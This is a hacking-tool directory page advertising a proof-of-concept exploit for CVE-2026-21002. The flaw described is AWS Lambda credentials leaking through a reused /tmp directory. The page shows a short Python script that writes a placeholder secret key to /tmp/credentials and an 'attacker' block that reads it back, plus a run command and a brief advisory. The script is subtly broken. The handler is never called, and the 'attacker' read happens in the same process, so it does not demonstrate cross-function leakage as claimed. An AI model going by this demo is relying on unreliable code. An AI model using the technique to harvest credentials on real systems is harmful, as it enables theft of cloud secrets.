Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-21002-Serverless-Cold-Start-Credential-Leakage-via-Reused-tmp — PoC exploit for CVE-2026-21002 serverless cold-start credential leakage, demonstrating how reused Lambda /tmp directories expose AWS secrets to other functions. | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-21002-serverless-cold-start-credential-leakage-via-reused-tmp
Cloud Infrastructure SecurityVulnerability AnalysisExploitationServerless SecurityData ExfiltrationCloud SecurityLearning & Education
GitHubgeorge0papasotiriou/cve-2026-21002-serverless-cold-start-credential-leakage-via-reused-tmp

CVE-2026-21002-Serverless-Cold-Start-Credential-Leakage-via-Reused-tmp

PoC exploit for CVE-2026-21002 serverless cold-start credential leakage, demonstrating how reused Lambda /tmp directories expose AWS secrets to other functions.

View Repository
91 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-21002 – Serverless Cold Start Credential Leakage via Reused /tmp

Program Code (Python AWS Lambda sim)

root@kitploit:~
# lambda_func_sim.py - Simulated serverless function
import os, tempfile, time

SECRET_FILE = '/tmp/credentials'  # reused across warm starts

def handler(event):
    # On first invocation, write a secret
    if not os.path.exists(SECRET_FILE):
        with open(SECRET_FILE, 'w') as f:
            f.write("AWS_SECRET_ACCESS_KEY=sk-123456")
        return "Initialized"
    # Later invocations can read it
    with open(SECRET_FILE) as f:
        return f.read()

# Attack simulation: attacker shares the same /tmp in another function (same VM)
# They can read /tmp/credentials after a cold start.
with open(SECRET_FILE) as f:
    print("Attacker reads:", f.read())

CVE-2026-21002 – Serverless Cold Start Credential Leakage

Severity: Critical

Overview

Serverless platforms reuse the execution environment (including /tmp) across function invocations and even between different functions from the same account. An attacker’s function can read sensitive files left in /tmp by another function after a cold start, leading to credential theft.

Vulnerability Details

  • Type: Information Disclosure / Cross‑Function Leakage
  • Impact: Credential compromise, lateral movement.
  • Root Cause: The /tmp directory is shared between warm containers without isolation between functions.

Exploit Demonstration

Run the simulation:

root@kitploit:~
python lambda_func_sim.py

The attacker reads AWS_SECRET_ACCESS_KEY left by the victim function.

Download Tool